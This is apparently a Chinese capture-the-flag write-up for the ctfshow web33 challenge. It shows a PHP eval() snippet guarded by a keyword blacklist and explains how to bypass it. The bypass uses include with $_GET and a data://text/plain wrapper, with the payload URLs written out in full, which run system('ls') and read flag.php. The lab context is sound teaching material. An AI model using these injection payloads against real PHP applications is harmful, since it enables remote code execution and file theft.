信息收集
相较于上一题,这题多了双引号的过滤。我猜测这一题的主要目的可能是为了不让使用$_GET['a']
之类的语句,但是$_GET[a]
也是一样的
没有括号可以使用include
,没有引号可以使用$_GET
可以参考[ctfshow web入门] web32,其中的所有解法都没有使用到双引号,所以都没有失效
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解题
我们取一个最简单的解法,这在[ctfshow web入门] web32中的方法1.1中使用过。
不是我不想整新活,而是实在没活了,上一题基本整完了。
data://text/plain
:要求按照文本格式将内容嵌入代码中,使用方法:data://text/plain,content
其中?>
利用了php的机制,当遇到?>
时会自动添加一个;
,也就是说<?php ehco 123 ?>
和<?php ehco 123; ?>
等效。我们利用这个机制绕过;
的过滤。
?c=include$_GET[1]?>&1=data://text/plain,<?php system("ls") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>
web32 目录 web34